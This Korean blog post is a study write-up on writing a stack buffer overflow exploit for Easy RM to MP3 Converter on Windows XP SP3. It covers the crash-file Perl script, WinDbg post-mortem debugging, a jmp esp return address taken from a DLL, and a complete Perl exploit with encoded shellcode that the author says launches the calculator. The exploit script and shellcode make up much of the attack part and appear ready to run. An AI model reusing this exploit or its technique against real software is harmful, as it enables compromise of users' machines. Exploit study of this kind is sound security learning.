Notice
Recent Posts
관리 메뉴

Hacking Arts

Exploit Writing 1 본문

Study Doc/Reversing

Exploit Writing 1

Rakehell 2015. 7. 18. 19:31

1.스택 기반 오버플로우


2009년 7월 17일 발표된 Easy Rm to MP3 Converter에 존재하는 취약점을 예로 explot을 작성해봅니다.

이전에 발표된 취약점이라 CVE사이트를 돌아다니다가 취약점이 존재하는 배포판의 프로그램을 찾는데 성공하였고 그 프로그램을 설치한 뒤 문서에 맞게 실행하였습니다. 일단은 단순 BOF라 system의 공격방법과 공격방식은 동일합니다. 그리고 Win XP SP3에서 실행하였습니다.


일단

my $file = "crash.m3u";
my $junk = "\x41" x 30000;
open($FILE, ">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Createed Successfully \n"

위의 perl 스크립트 문을 이용해서 crash나게 할 파일을 만듭니다.



그리고 crush파일을 읽어들여 실행하면 저런식으로 offset이 0x41414141로 가는 것을 확인 할 수 있습니다.



이런식으로 스택이 쌓이는데 이때 sometinrg의 buffer 함수에 param1로 그냥 strcpy하면서 취약점이 나온다고 합니다.


windbg의 post-mortem 디버거 등록


여기 reg값을 0으로 바꾸면 post-mortem기능을 끄게됩니다.


post-mortem기능은 crush가 나는 프로그램을 디버깅 하게 됩니다.

그다음 하는 과정은 문서에서는 크러쉬가 나는 부분으 찾으면서 어딘지 찾게됩니다.



그 다음 ret위치가 0x000ffd38위치로 바로 점프할려고 생각한다 하지만 주소 자체에 NULL문자가 포함되는 바람에 원하는 지점으로 도달하지 못하며 프로그램이 종료되게 됩니다.


그렇다면 다른 방법을 생각해야한다. 일단 windbg로 attach시키고 ffe4(jmp esp)를 찾을 것이다.

이 기법은 리눅스 bof쪽에서도 사용하는 기법인데 jmp esp라는 바이너리코드를 찾은 뒤 cpu가 ffe4를 실행하고 그 다음 esp가 있는 곳으로 jmp를 하게 됩니다. 저 위치는 MSRMCoodec02.dll의 위치에서 찾는 것이다. 기본적으로 리눅스에도 .so공유라이브러리가 올라가듯이 window도 dll 라이브러리가 올라가게 됩니다.

이런식으로 0x01b7f23a으로 점프를 하여 ffe4를 실행하고 ffd38을 실행하게하면됩니다. ffe4위치를 바꾸면 됩니다



이런식으로 주소를 잘넣게 되면 shellcode가 실행되면서 계산기가 실행될수 있습니다.


my $file = "vuln.m3u";
my $junk = "A" x 26062;
my $eip = pack('V',0x01baf23a);
my $shellcode = "\x90" x 25;

$shellcode = $shellcode."\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created Successfully \n"

이렇게 완성된 코드입니다.



문서 출처 : http://www.kisec.com/knowledge_channel/kiseclab?mode=list&board_name=kiseclab&board_club_no=&relation_no=&page=2&sort=regdate&desc=desc&board_no=216&board_comment_no=&viewtype=&s_category=&search_str=s_subcon&search_val=